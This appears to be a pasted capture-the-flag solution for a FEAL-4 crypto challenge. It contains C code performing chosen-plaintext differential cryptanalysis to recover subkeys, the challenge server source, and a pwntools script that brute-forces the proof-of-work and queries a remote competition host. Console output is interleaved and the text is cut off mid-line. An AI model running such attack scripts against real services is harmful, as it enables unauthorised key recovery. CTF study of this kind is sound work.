unsigned long long combineHalves(unsigned long leftHalf, unsigned long rightHalf)
{
return (((unsigned long long)(leftHalf)) << 32LL) | (((unsigned long long)(rightHalf)) & 0xFFFFFFFFLL);
}
unsigned char gBox(unsigned char a, unsigned char b, unsigned char mode)
{
return rotl2(a + b + mode);
}
unsigned long fBox(unsigned long plain)
{
unsigned char x0 = sepByte(plain, 3);
unsigned char x1 = sepByte(plain, 2);
unsigned char x2 = sepByte(plain, 1);
unsigned char x3 = sepByte(plain, 0);
unsigned char t0 = (x2 ^ x3);
unsigned char y1 = gBox(x0 ^ x1, t0, 1);
unsigned char y0 = gBox(x0, y1, 0);
unsigned char y2 = gBox(t0, y1, 0);
unsigned char y3 = gBox(x3, y2, 1);
return combineBytes(y3, y2, y1, y0);
}
unsigned long long encrypt(unsigned long long plain)
{
unsigned long left = leftHalf(plain);
unsigned long right = rightHalf(plain);
left = left ^ subkey[4];
right = right ^ subkey[5];
unsigned long round1Left = left;
unsigned long round1Right = left ^ right;
unsigned long round2Right = round1Left;
unsigned long round2Left = round1Right ^ fBox(round1Left ^ subkey[0]);
unsigned long round3Right = round2Left;
unsigned long round3Left = round2Right ^ fBox(round2Left ^ subkey[1]);
unsigned long round4Right = round3Left;
unsigned long round4Left = round3Right ^ fBox(round3Left ^ subkey[2]);
unsigned long cipherRight = round4Left;
unsigned long cipherLeft = round4Right ^ fBox(round4Left ^ subkey[3]);
unsigned long outRight = cipherLeft ^ cipherRight;
unsigned long outLeft = cipherRight;
return combineHalves(outLeft, outRight);
}
void generateSubkeys(int seed)
{
srand(seed);
int c;
for (c = 0; c < 6; c++)
subkey[c] = (rand() << 16L) | (rand() & 0xFFFFL);
//int c;
//for (c = 0; c < 6; c++)
// subkey[c] = c;
}
int numPlain;
unsigned long long plain0[MAX_CHOSEN_PAIRS];
unsigned long long cipher0[MAX_CHOSEN_PAIRS];
unsigned long long plain1[MAX_CHOSEN_PAIRS];
unsigned long long cipher1[MAX_CHOSEN_PAIRS];
unsigned long long plain01_table[] = {
0x3d5206220939ae1f,
0x3d52062209392e9f,
0xdf2a0443338dab42,
0xdf2a0443338d2bc2,
0x68c980299db83129,
0x68c980299db8b1a9,
0xb5a033b18ea363ab,
0xb5a033b18ea3e32b,
0x6b30c4266bebf24e,
0x6b30c4266beb72ce,
0xa4436f5e66a07a38,
0xa4436f5e66a0fab8,
0xa62827df80fa3d4b,
0xa62827df80fabdcb,
0x7c7fab76e6dfb9d1,
0x7c7fab76e6df3951,
0x2304e8e6bf1e4703,
0x23046866bf1ec783,
0x3d4f8a08bbd50cde,
0x3d4f0a88bbd58c5e,
0xa1517dbae25d1520,
0xa151fd3ae25d95a0,
0x26aef452d29f96b1,
0x26ae74d2d29f1631,
0xb271f3842b0e0175,
0xb27173042b0e81f5,
0x2a5d61cfd1c85df6,
0x2a5de14fd1c8dd76,
0x9fd9ba12ae068cd9,
0x9fd93a92ae060c59,
0x25c6169cb5f248cb,
0x25c6961cb5f2c84b,
0x3fcd4a25764f85de,
0x3dcd4a25764f055e,
0x08cc65f7a511a49d,
0x0acc65f7a511241d,
0xe647b6b09a26a382,
0xe447b6b09a262302,
0xeec970446ce9972d,
0xecc970446ce917ad,
0xe334f20fa41f9984,
0xe134f20fa41f1904,
0xcd7fa1c8c3223065,
0xcf7fa1c8c322b0e5,
0x26da81aea39fec71,
0x24da81aea39f6cf1,
0x76bfd9184a7bb68c,
0x74bfd9184a7b360c,
};
unsigned long long cipher01_table[] = {
0xd519c92bee64534d,
0x553951f3b35d498d,
0x13ddfd9985eba18d,
0x923d65c1313cb4cd,
0xe4819107902c6ecc,
0x64e119efa2c8e722,
0xc530315d5460f8a7,
0x45d0b9a5ec4a32a5,
0x3d473e36e7ff4bde,
0xbd27b65e0e11c0b0,
0x6024579832c9e8ca,
0xdfc5dff0958639c1,
0x7503b7422e11977c,
0xf6232fea4697f0bd,
0x7a0688242c7956fa,
0xfb26008ca3e2e0bc,
0x511e30dfb1053a2a,
0x6449b82e089c26bf,
0x8dccb57184124fb5,
0x3971b67774da9449,
0xa0dd85217c9f44db,
0x2dd4071916e1e5f8,
0x45ed8bde5e940ae8,
0x17213c1d5f975c74,
0x4ed949c4752e0947,
0xcd414bce9ac7bfe8,
0x285e697bab2b4f12,
0x9b0aaa8eff55e828,
0x8076c178f2c0c196,
0x13f2c2660bfc91da,
0x8b320c52c5fc9233,
0x6b724c53eda1de38,
0x11c471b0a805c06a,
0x12fe24316c72e5df,
0x1f59c991fdb92089,
0x836b96943c1b85a3,
0xdee269e9a45ee404,
0xf38f372b0798728b,
0x5a0fc1c3437fe612,
0x1c661a04ecc11263,
0x5b33dc58cb083d61,
0x8dcc6b2e85bff9b4,
0x5e57c31ef8356efe,
0x69b041b9e97e2608,
0x779a54757f684f25,
0xf0150d1387c83446,
0x01e624b1e6999ae1,
0xcea291e6637a304c,
};
void undoFinalOperation()
{
int c;
for (c = 0; c < numPlain; c++)
{
unsigned long cipherLeft0 = leftHalf(cipher0[c]);
unsigned long cipherRight0 = rightHalf(cipher0[c]) ^ cipherLeft0;
unsigned long cipherLeft1 = leftHalf(cipher1[c]);
unsigned long cipherRight1 = rightHalf(cipher1[c]) ^ cipherLeft1;
cipher0[c] = combineHalves(cipherRight0, cipherLeft0);
cipher1[c] = combineHalves(cipherRight1, cipherLeft1);
}
}
unsigned long crackLastRound(unsigned long outdiff)
{
printf(" Using output differential of 0x%08x\n", outdiff);
printf(" Cracking...");
unsigned long fakeK;
for (fakeK = 0x00000000L; fakeK < 0xFFFFFFFFL; fakeK++)
{
int score = 0;
int c;
for (c = 0; c < numPlain; c++)
{
unsigned long cipherLeft = (cipher0[c] >> 32LL);
cipherLeft ^= (cipher1[c] >> 32LL);
unsigned long cipherRight = cipher0[c] & 0xFFFFFFFFLL;
cipherRight ^= (cipher1[c] & 0xFFFFFFFFLL);
unsigned long Y = cipherLeft;
unsigned long Z = cipherLeft ^ outdiff;
unsigned long fakeRight = cipher0[c] & 0xFFFFFFFFLL;
unsigned long fakeLeft = cipher0[c] >> 32LL;
unsigned long fakeRight2 = cipher1[c] & 0xFFFFFFFFLL;
unsigned long fakeLeft2 = cipher1[c] >> 32LL;
unsigned long Y0 = fakeRight;
unsigned long Y1 = fakeRight2;
unsigned long fakeInput0 = Y0 ^ fakeK;
unsigned long fakeInput1 = Y1 ^ fakeK;
unsigned long fakeOut0 = fBox(fakeInput0);
unsigned long fakeOut1 = fBox(fakeInput1);
unsigned long fakeDiff = fakeOut0 ^ fakeOut1;
if (fakeDiff == Z) score++; else break;
}
if (score == numPlain)
{
printf("found subkey : 0x%08lx\n", fakeK);
return fakeK;
}
}
printf("failed\n");
return 0;
}
void printHexString(unsigned long long buf) {
printf("%016llx", buf);
}
unsigned long long readHexString() {
unsigned long long ret = 0;
char buf[0x200] = { 0 };
scanf("%s", buf);
for (int i = 0; i < 16; i++) {
if (buf[i] >= '0' && buf[i] <= '9')
ret = (ret << 4) | ((buf[i] - '0') & 0xF);
else if (buf[i] >= 'A' && buf[i] <= 'F')
ret = (ret << 4) | ((buf[i] - 'A' + 10) & 0xF);
else if (buf[i] >= 'a' && buf[i] <= 'f')
ret = (ret << 4) | ((buf[i] - 'a' + 10) & 0xF);
else
return -1;
}
return ret;
}
int SPECIAL_CONST = 0;
void chosenPlaintext(unsigned long long diff)
{
printf(" Generating %i chosen-plaintext pairs\n", numPlain);
printf(" Using input differential of 0x%016llx\n", diff);
unsigned long long* arr = NULL;
unsigned long long* arr1 = NULL;
if (diff == 0x0000000000008080LL) {
arr = &plain01_table[0];
arr1 = &cipher01_table[0];
}
else if (diff == 0x0000808000008080LL) {
arr = &plain01_table[numPlain * 2];
arr1 = &cipher01_table[numPlain * 2];
}
else if (diff == 0x0200000000008080LL) {
arr = &plain01_table[numPlain * 2 * 2];
arr1 = &cipher01_table[numPlain * 2 * 2];
}
int c;
for (c = 0; c < numPlain; c++)
{
plain0[c] = arr[c * 2];
plain1[c] = arr[c * 2 + 1];
}
for (c = 0; c < numPlain; c++) {
cipher0[c] = arr1[c * 2];
cipher1[c] = arr1[c * 2 + 1];
//cipher0[c] = encrypt(plain0[c]);
//cipher1[c] = encrypt(plain1[c]);
}
}
void chosenPlaintext_prepare(unsigned long long diff)
{
printf(" Generating %i chosen-plaintext pairs\n", numPlain);
printf(" Using input differential of 0x%016llx\n", diff);
srand(SPECIAL_CONST + (diff >> 32) + (diff & 0xffffffff));
int c;
for (c = 0; c < numPlain; c++)
{
plain0[c] = (rand() & 0xFFFFLL) << 48LL;
plain0[c] += (rand() & 0xFFFFLL) << 32LL;
plain0[c] += (rand() & 0xFFFFLL) << 16LL;
plain0[c] += (rand() & 0xFFFFLL);
printHexString(plain0[c]);
printf(" ");
plain1[c] = plain0[c] ^ diff;
printHexString(plain1[c]);
printf("\n");
//cipher1[c] = encrypt(plain1[c]);
}
}
void chosenPlaintext_(unsigned long long diff) {
printf(" Input %i chosen-plaintext pairs\n", numPlain);
printf(" Using input differential of 0x%016llx\n", diff);
srand(SPECIAL_CONST + (diff >> 32) + (diff & 0xffffffff));
int c;
for (c = 0; c < numPlain; c++)
{
plain0[c] = (rand() & 0xFFFFLL) << 48LL;
plain0[c] += (rand() & 0xFFFFLL) << 32LL;
plain0[c] += (rand() & 0xFFFFLL) << 16LL;
plain0[c] += (rand() & 0xFFFFLL);
plain1[c] = plain0[c] ^ diff;
}
for (c = 0; c < numPlain; c++) {
cipher0[c] = readHexString();
cipher1[c] = readHexString();
//cipher0[c] = encrypt(plain0[c]);
//cipher1[c] = encrypt(plain1[c]);
}
}
void chosenPlaintext__(unsigned long long diff)
{
printf(" Generating %i chosen-plaintext pairs\n", numPlain);
printf(" Using input differential of 0x%016llx\n", diff);
srand(SPECIAL_CONST + (diff >> 32) + (diff & 0xffffffff));
int c;
for (c = 0; c < numPlain; c++)
{
plain0[c] = (rand() & 0xFFFFLL) << 48LL;
plain0[c] += (rand() & 0xFFFFLL) << 32LL;
plain0[c] += (rand() & 0xFFFFLL) << 16LL;
plain0[c] += (rand() & 0xFFFFLL);
cipher0[c] = encrypt(plain0[c]);
printHexString(cipher0[c]);
printf(" ");
plain1[c] = plain0[c] ^ diff;
cipher1[c] = encrypt(plain1[c]);
printHexString(cipher1[c]);
printf("\n");
}
}
void undoLastRound(unsigned long crackedSubkey)
{
printf("Undoing last round using %08x\n", crackedSubkey);
int c;
for (c = 0; c < numPlain; c++)
{
unsigned long cipherLeft0 = leftHalf(cipher0[c]);
unsigned long cipherRight0 = rightHalf(cipher0[c]);
unsigned long cipherLeft1 = leftHalf(cipher1[c]);
unsigned long cipherRight1 = rightHalf(cipher1[c]);
cipherRight0 = fBox(cipherRight0 ^ crackedSubkey) ^ cipherLeft0;
cipherLeft0 = rightHalf(cipher0[c]);
cipherRight1 = fBox(cipherRight1 ^ crackedSubkey) ^ cipherLeft1;
cipherLeft1 = rightHalf(cipher1[c]);
cipher0[c] = combineHalves(cipherLeft0, cipherRight0);
cipher1[c] = combineHalves(cipherLeft1, cipherRight1);
}
}
int main()
{
for (int i = 0; i < 6; i++) {
subkey[i] = 0;
}
//encrypt(0x1122334455667788);
//encrypt(0);
//encrypt(0x0000000000008080LL);
//encrypt(0x0000808000008080LL);
printf("JK'S FEAL-4 DIFFERENTIAL CRYPTANALYSIS DEMO\n");
printf("-------------------------------------------\n");
printf("\n");
srand(time(NULL));
SPECIAL_CONST = (rand() << 4) | rand();
int graphData[20];
int c;
generateSubkeys(time(NULL));
//generateSubkeys(0);
/*for (int i = 0; i < 6; i++) {
printf("%x, ", (unsigned int)subkey[i]);
}
printf("\n%llx", encrypt(0xe5cd620b2eec5b06));*/
numPlain = 8;
unsigned long long inputDiff1 = 0x0000000000008080LL;
unsigned long long inputDiff2 = 0x0000808000008080LL;
unsigned long long inputDiff3 = 0x0200000000008080LL;
unsigned long outDiff = 0x02000000L;
chosenPlaintext_prepare(inputDiff1);
chosenPlaintext_prepare(inputDiff2);
chosenPlaintext_prepare(inputDiff3);
unsigned long fullStartTime = time(NULL);
//CRACKING ROUND 4
printf("ROUND 4\n");
chosenPlaintext(inputDiff1);
undoFinalOperation();
unsigned long startTime = time(NULL);
unsigned long crackedSubkey3 = crackLastRound(outDiff) ^ 0x8080;
unsigned long endTime = time(NULL);
printf(" Time to crack round #4 = %i seconds\n", (endTime - startTime));
//CRACKING ROUND 3
printf("ROUND 3\n");
chosenPlaintext(inputDiff2);
undoFinalOperation();
undoLastRound(crackedSubkey3);
startTime = time(NULL);
unsigned long crackedSubkey2 = crackLastRound(outDiff) ^ 0x8080;
endTime = time(NULL);
printf(" Time to crack round #3 = %i seconds\n", (endTime - startTime));
//CRACKING ROUND 2
printf("ROUND 2\n");
chosenPlaintext(inputDiff3);
undoFinalOperation();
undoLastRound(crackedSubkey3);
undoLastRound(crackedSubkey2);
startTime = time(NULL);
unsigned long crackedSubkey1 = crackLastRound(outDiff) ^ 0x80800000;
endTime = time(NULL);
printf(" Time to crack round #2 = %i seconds\n", (endTime - startTime));
//CRACK ROUND 1
printf("ROUND 1\n");
chosenPlaintext(inputDiff1);
undoFinalOperation();
undoLastRound(crackedSubkey3);
undoLastRound(crackedSubkey2);
undoLastRound(crackedSubkey1);
unsigned long crackedSubkey0 = 0;
unsigned long crackedSubkey4 = 0;
unsigned long crackedSubkey5 = 0;
printf(" Cracking...");
startTime = time(NULL);
unsigned long guessK0;
for (guessK0 = 0; guessK0 < 0xFFFFFFFFL; guessK0++)
{
unsigned long guessK4 = 0;
unsigned long guessK5 = 0;
int c;
for (c = 0; c < numPlain; c++)
{
unsigned long plainLeft0 = leftHalf(plain0[c]);
unsigned long plainRight0 = rightHalf(plain0[c]);
unsigned long cipherLeft0 = leftHalf(cipher0[c]);
unsigned long cipherRight0 = rightHalf(cipher0[c]);
unsigned long tempy0 = fBox(cipherRight0 ^ 0x80800000 ^ guessK0) ^ cipherLeft0; // r
if (guessK4 == 0)
{
guessK4 = cipherRight0 ^ plainLeft0;
guessK5 = tempy0 ^ cipherRight0 ^ plainRight0;
}
else if (((cipherRight0 ^ plainLeft0) != guessK4) || ((tempy0 ^ cipherRight0 ^ plainRight0) !=
guessK5))
{
guessK4 = 0;
guessK5 = 0;
break;
}
}
if (guessK4 != 0)
{
crackedSubkey0 = guessK0;
crackedSubkey4 = guessK4;
crackedSubkey5 = guessK5;
endTime = time(NULL);
printf("found subkeys : 0x%08lx 0x%08lx 0x%08lx\n", guessK0, guessK4, guessK5);
printf(" Time to crack round #1 = %i seconds\n", (endTime - startTime));
break;
}
}
printf("\n\n");
printf("0x%08lx - ", crackedSubkey0); if (crackedSubkey0 == subkey[0]) printf("Subkey 0 : GOOD!\n"); else
printf("Subkey 0 : BAD\n");
printf("0x%08lx - ", crackedSubkey1); if (crackedSubkey1 == subkey[1]) printf("Subkey 1 : GOOD!\n"); else
printf("Subkey 1 : BAD\n");
printf("0x%08lx - ", crackedSubkey2); if (crackedSubkey2 == subkey[2]) printf("Subkey 2 : GOOD!\n"); else
printf("Subkey 2 : BAD\n");
printf("0x%08lx - ", crackedSubkey3); if (crackedSubkey3 == subkey[3]) printf("Subkey 3 : GOOD!\n"); else
printf("Subkey 3 : BAD\n");
printf("0x%08lx - ", crackedSubkey4); if (crackedSubkey4 == subkey[4]) printf("Subkey 4 : GOOD!\n"); else
printf("Subkey 4 : BAD\n");
printf("0x%08lx - ", crackedSubkey5); if (crackedSubkey5 == subkey[5]) printf("Subkey 5 : GOOD!\n"); else
printf("Subkey 5 : BAD\n");
printf("\n");
unsigned long fullEndTime = time(NULL);
printf("Total crack time = %i seconds\n", (fullEndTime - fullStartTime));
printf("FINISHED\n");
while (1) {}
return 0;
}
import os,random,sys,string
from hashlib import sha256
import SocketServer
import signal
import thread
import threading
#from flag import FLAG
SZ = 8
def gbox(a,b,mode):
x = (a+b+mode)%256
return ((x<<2)|(x>>6))&0xff # ror8
def fbox(plain):
t0 = (plain[2] ^ plain[3])
y1 = gbox(plain[0] ^ plain[1], t0, 1)
y0 = gbox(plain[0], y1, 0)
y2 = gbox(t0, y1, 0)
y3 = gbox(plain[3], y2, 1)
return [y3, y2, y1, y0]
def rev_gboxsum(x, mode):
return (((x<<6)|(x>>2))&0xff - mode) % 256
def rev_fbox(enc):
y3, y2, y1, y0 = enc
plain3 = (rev_gboxsum(y3, 1) - y2) % 256
t0 = (rev_gboxsum(y2, 0) - y1) % 256
plain0_xor_plain1 = (rev_gboxsum(y1,1) - t0) % 256
plain0 = (rev_gboxsum(y0, 0) - y1) % 256
plain1 = plain0_xor_plain1 ^ plain0
plain2 = t0 ^ plain3
return [plain0, plain1, plain2, plain3]
def doxor(l1,l2):
return map(lambda x: x[0]^x[1], zip(l1,l2))
def encrypt_block(pt, ks):
l = doxor(pt[:4], ks[4]) # IP
r = doxor(doxor(pt[4:], ks[5]), l)
for i in range(4):
l, r = doxor(r, fbox(doxor(l,ks[i]))), l
l, r = r, doxor(l,r)
return l+r
def encrypt(pt, k):
x = SZ-len(pt)%SZ # padding
pt += chr(x)*x
ct = ''
for i in range(0, len(pt), SZ):
res = encrypt_block(map(ord, pt[i:i+SZ]), k)
ct += ''.join(map(chr,res))
return ct
def decrypt_block(ct, ks):
l = ct[:4]
r = ct[4:]
l, r = doxor(r,l), l
for i in range(3,-1, -1):
l,r = r, doxor(l, fbox(doxor(r, ks[i])))
r = doxor(doxor(r, l), ks[5])
l = doxor(l, ks[4])
return l+r
def decrypt(ct,k):
pt = ''
for i in range(0, len(ct), SZ):
res = decrypt_block(map(ord, ct[i:i + SZ]), k)
pt += ''.join(map(chr, res))
return pt
def doout(x):
tmp = ''.join(map(chr, x))
return tmp.encode('hex')
def genkeys():
subkeys=[]
for x in xrange(6):
subkeys.append(map(ord,os.urandom(4)))
return subkeys
'''
class Task(SocketServer.BaseRequestHandler):
def proof_of_work(self):
random.seed(os.urandom(8))
proof = ''.join([random.choice(string.ascii_letters+string.digits) for _ in xrange(20)])
digest = sha256(proof).hexdigest()
self.request.send("sha256(XXXX+%s) == %s\n" % (proof[4:],digest))
self.request.send('Give me XXXX:')
x = self.request.recv(10)
x = x.strip()
if len(x) != 4 or sha256(x+proof[4:]).hexdigest() != digest:
return False
return True
def recvhex(self, sz):
try:
r = sz
res = ''
while r>0:
res += self.request.recv(r)
if res.endswith('\n'):
r = 0
else:
r = sz - len(res)
res = res.strip()
res = res.decode('hex')
except:
res = ''
return res
def dosend(self, msg):
try:
self.request.sendall(msg)
except:
pass
def handle(self):
#if not self.proof_of_work():
# return
#signal.alarm(30)
key = genkeys()
print key
for i in xrange(50):
self.dosend("plaintext(hex): ")
pt = self.recvhex(21)
if pt=='':
break
ct = encrypt(pt, key)
self.dosend("%s\n" % ct.encode('hex'))
cflag = encrypt(FLAG, key)
self.dosend("and your flag:\n")
self.dosend("%s\n" % cflag.encode('hex'))
self.request.close()
class ForkedServer(SocketServer.ForkingTCPServer, SocketServer.TCPServer):
pass
if __name__ == "__main__":
HOST, PORT = '0.0.0.0', 10001
print HOST
print PORT
server = ForkedServer((HOST, PORT), Task)
server.allow_reuse_address = True
server.serve_forever()
'''
#a = encrypt_block([0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00],[[0,0,0,0]] * 6)
#a = encrypt_block(map(ord,'1dc8294c4fc3a3c4'.decode('hex')),[[0,0,0,0]] * 6)
#a = encrypt_block(map(ord,'444c72452d284e87'.decode('hex')), [map(ord, c.decode('hex')) for c in
['00261e27', '52f60985', '22972e15', '20ad7e1d', '28d27794', '16dd6dc4']])
#a = encrypt_block(map(ord,'42c805e72f4f11fd'.decode('hex')), [map(ord, c.decode('hex')) for c in
['6c37049d', '4a286482', '4ef233dd', '665c014f', '56956c18', '147d25af']])
#t = decrypt_block(encrypt_block(map(ord, '*ctfflag'), [[0,1,2,3]] * 6),[[0,1,2,3]] * 6)
t =
decrypt('98336f5e5f35724482c99fab8b313e3242c2545589924374ee2c75e1615c7035ce5080b12b67e2fb'.decode('hex'),
[map(ord, c.decode('hex')) for c in ['87BB1706', 'c1ee07c9', '372fa9d1', '781a83c7', '835785f3',
'53c1b983']])
from pwn import *
import itertools
io_analysis = process(['/mnt/d/ProgWorkspace/CppProjects/StarCTF/FEALCrypto/feal_analysis'])
print io_analysis.recvuntil('Using input differential of ')
print io_analysis.recvuntil('\n')
time.sleep(0.1)
round4_data = io_analysis.recvuntil('Generating',drop=True).strip()
round4_data = [c.replace(' ','') for c in round4_data.split()]
print io_analysis.recvuntil('Using input differential of ')
print io_analysis.recvuntil('\n')
round3_data = io_analysis.recvuntil('Generating',drop=True).strip()
round3_data = [c.replace(' ','') for c in round3_data.split()]
print io_analysis.recvuntil('Using input differential of ')
print io_analysis.recvuntil('\n')
round2_data = io_analysis.recvuntil('ROUND 4',drop=True).strip()
round2_data = [c.replace(' ','') for c in round2_data.split()]
'''
#k = [map(ord, c.decode('hex')) for c in ['456723c6', '98694873', 'dc515cff', '944a58ec', '1f297ccd',
'58bad7ab']]
#k = [[0,0,0,0,0,0]] * 6
k = genkeys()
round4_ret = [encrypt(c.decode('hex'), k).encode('hex')[0:16] for c in round4_data]
round3_ret = [encrypt(c.decode('hex'), k).encode('hex')[0:16] for c in round3_data]
round2_ret = [encrypt(c.decode('hex'), k).encode('hex')[0:16] for c in round2_data]
print "round4_ret: %s" % '\n'.join(round4_ret)
print "round3_ret: %s" % '\n'.join(round3_ret)
print "round2_ret: %s" % '\n'.join(round2_ret)
for c in round4_ret:
io_analysis.sendline(c)
time.sleep(5)
for c in round3_ret:
io_analysis.sendline(c)
time.sleep(5)
for c in round2_ret:
io_analysis.sendline(c)
io_analysis.interactive()
exit()
'''
io = None
while True:
try:
r = threading.Timer(8.0, thread.interrupt_main)
r.start()
if io:
io.close()
io = remote('34.92.185.118',10001)
#io = remote('127.0.0.1', 10001)
print io.recvuntil("sha256(XXXX+")
parproof = io.recvuntil(")", drop=True)
print parproof
io.recvuntil("== ")
proofdigest = io.recvuntil("\n", drop=True)
print io.recvuntil("Give me XXXX:")
for xxxx in itertools.permutations(string.digits+string.ascii_letters, 4):
proof = ''.join(xxxx) + parproof
digest = sha256(proof).hexdigest()
#if True or digest == proofdigest:
if digest == proofdigest:
print(xxxx)
io.sendline(''.join(xxxx))
r.cancel()
break
else:
continue
break
except KeyboardInterrupt:
print("Retrying...")
def handle_analysis_data(rounddata):
finalrets = []
for i in range(len(rounddata)):
print io.recvuntil('plaintext(hex): ')
io.sendline(rounddata[i])
ret = io.recvline(keepends=False).strip()
rets = [ret[:16]]
for ret in rets:
#finalrets.append(''.join(map(chr, doxor(map(ord, ret[:8].decode('hex')), map(ord,
ret[8:16].decode('hex'))))).encode('hex') + ret[8:16])
finalrets.append(ret)
return finalrets
print "round4/3/2_data: \n%s" % '\n'.join(["0x" + c + "," for c in round4_data+round3_data+round2_data])
round4_ret = handle_analysis_data(round4_data)
round3_ret = handle_analysis_data(round3_data)
round2_ret = handle_analysis_data(round2_data)
print "round4/3/2_ret: \n%s" % '\n'.join(["0x" + c + "," for c in round4_ret+round3_ret+round2_ret])
print io.recvuntil('plaintext(hex): ')
io.sendline()
time.sleep(1)
flagenc = io.recv()
print "Flag Enc: %s" % flagenc
'''
print io_analysis.recvuntil("hosen-plaintext pairs")
print io_analysis.recvuntil('Using input differential of ')
print io_analysis.recvuntil('\n')
time.sleep(0.1)
pydev debugger: process 16133 is connecting Connected to pydev debugger (build 182.3911.33) Starting local process
'/mnt/d/ProgWorkspace/CppProjects/StarCTF/FEALCrypto/feal_analysis' [$<2>+] Starting local process
'/mnt/d/ProgWorkspace/CppProjects/StarCTF/FEALCrypto/feal_analysis': pid 16140 JK'S FEAL-4 DIFFERENTIAL CRYPTANALYSIS
DEMO
Generating 8 chosen-plaintext pairs Using input differential of 0x0000000000008080 8 chosen-plaintext pairs Using input
differential of 0x0000808000008080 8 chosen-plaintext pairs Using input differential of 0x0200000000008080 Opening connection
to 34.92.185.118 on port 10001 Opening connection to 34.92.185.118 on port 10001: Trying 34.92.185.118 [
<2>*] Closed connection to 34.92.185.118 port 10001 Opening connection to 34.92.185.118 on port 10001 Opening connection to
34.92.185.118 on port 10001: Trying 34.92.185.118 [$<2>+] Opening connection to 34.92.185.118 on port 10001: Done
sha256(XXXX+ JSfGFhasrfnxSNVO Give me XXXX: ('d', 'x', 'z', 'w') round4/3/2_data: 0x3d5206220939ae1f, 0x3d52062209392e9f,
0xdf2a0443338dab42, 0xdf2a0443338d2bc2, 0x68c980299db83129, 0x68c980299db8b1a9, 0xb5a033b18ea363ab,
0xb5a033b18ea3e32b, 0x6b30c4266bebf24e, 0x6b30c4266beb72ce, 0xa4436f5e66a07a38, 0xa4436f5e66a0fab8,
0xa62827df80fa3d4b, 0xa62827df80fabdcb, 0x7c7fab76e6dfb9d1, 0x7c7fab76e6df3951, 0x2304e8e6bf1e4703,
0x23046866bf1ec783, 0x3d4f8a08bbd50cde, 0x3d4f0a88bbd58c5e, 0xa1517dbae25d1520, 0xa151fd3ae25d95a0,
0x26aef452d29f96b1, 0x26ae74d2d29f1631, 0xb271f3842b0e0175, 0xb27173042b0e81f5, 0x2a5d61cfd1c85df6,
0x2a5de14fd1c8dd76, 0x9fd9ba12ae068cd9, 0x9fd93a92ae060c59, 0x25c6169cb5f248cb, 0x25c6961cb5f2c84b,
0x3fcd4a25764f85de, 0x3dcd4a25764f055e, 0x08cc65f7a511a49d, 0x0acc65f7a511241d, 0xe647b6b09a26a382,
0xe447b6b09a262302, 0xeec970446ce9972d, 0xecc970446ce917ad, 0xe334f20fa41f9984, 0xe134f20fa41f1904,
0xcd7fa1c8c3223065, 0xcf7fa1c8c322b0e5, 0x26da81aea39fec71, 0x24da81aea39f6cf1, 0x76bfd9184a7bb68c,
0x74bfd9184a7b360c, plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex):
plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex):
plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex):
plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex):
plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex):
plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex): plaintext(hex):
plaintext(hex): round4/3/2_ret: 0xd519c92bee64534d, 0x553951f3b35d498d, 0x13ddfd9985eba18d, 0x923d65c1313cb4cd,
for c in round4_ret:
io_analysis.sendline(c)
print io_analysis.recvuntil("ROUND 3")
print io_analysis.recvuntil('Using input differential of ')
print io_analysis.recvuntil('\n')
time.sleep(0.1)
for c in round3_ret:
io_analysis.sendline(c)
print io_analysis.recvuntil("ROUND 2")
print io_analysis.recvuntil('Using input differential of ')
print io_analysis.recvuntil('\n')
time.sleep(0.1)
time.sleep(0.1)
for c in round2_ret:
io_analysis.sendline(c)
io_analysis.interactive()
buf = io_analysis.recvuntil("Subkey 0 : GOOD!")
print buf[buf.rfind(' - ')-10:][:10]
buf = io_analysis.recvuntil("Subkey 1 : GOOD!")
print buf[buf.rfind(' - ')-10:][:10]
buf = io_analysis.recvuntil("Subkey 2 : GOOD!")
print buf[buf.rfind(' - ')-10:][:10]
buf = io_analysis.recvuntil("Subkey 3 : GOOD!")
print buf[buf.rfind(' - ')-10:][:10]
buf = io_analysis.recvuntil("Subkey 4 : GOOD!")
print buf[buf.rfind(' - ')-10:][:10]
buf = io_analysis.recvuntil("Subkey 5 : GOOD!")
print buf[buf.rfind(' - ')-10:][:10]
'''
0xe4819107902c6ecc, 0x64e119efa2c8e722, 0xc530315d5460f8a7, 0x45d0b9a5ec4a32a5, 0x3d473e36e7ff4bde,
0xbd27b65e0e11c0b0, 0x6024579832c9e8ca, 0xdfc5dff0958639c1, 0x7503b7422e11977c, 0xf6232fea4697f0bd,
0x7a0688242c7956fa, 0xfb26008ca3e2e0bc, 0x511e30dfb1053a2a, 0x6449b82e089c26bf, 0x8dccb57184124fb5,
0x3971b67774da9449, 0xa0dd85217c9f44db, 0x2dd4071916e1e5f8, 0x45ed8bde5e940ae8, 0x17213c1d5f975c74,
0x4ed949c4752e0947, 0xcd414bce9ac7bfe8, 0x285e697bab2b4f12, 0x9b0aaa8eff55e828, 0x8076c178f2c0c196,
0x13f2c2660bfc91da, 0x8b320c52c5fc9233, 0x6b724c53eda1de38, 0x11c471b0a805c06a, 0x12fe24316c72e5df,
0x1f59c991fdb92089, 0x836b96943c1b85a3, 0xdee269e9a45ee404, 0xf38f372b0798728b, 0x5a0fc1c3437fe612,
0x1c661a04ecc11263, 0x5b33dc58cb083d61, 0x8dcc6b2e85bff9b4, 0x5e57c31ef8356efe, 0x69b041b9e97e2608,
0x779a54757f684f25, 0xf0150d1387c83446, 0x01e624b1e6999ae1, 0xcea291e6637a304c, plaintext(hex): Flag Enc: and your flag:
98336f5e5f35724482c99fab8b313e3242c2545589924374ee2c75e1615c7035ce5080b12b67e2fb
ROUND 4 Generating 8 chosen-plaintext pairs Using input differential of 0x0000000000008080 Using output differential of
0x02000000 Cracking...found subkey : 0x781a0347 Time to crack round #4 = 21 seconds ROUND 3 Generating 8 chosen-
plaintext pairs Using input differential of 0x0000808000008080 Undoing last round using 781a83c7 Using output differential
of 0x02000000 Cracking...found subkey : 0x372f2951 Time to crack round #3 = 10 seconds ROUND 2 Generating 8 chosen-
plaintext pairs Using input differential of 0x0200000000008080 Undoing last round using 781a83c7 Undoing last round using
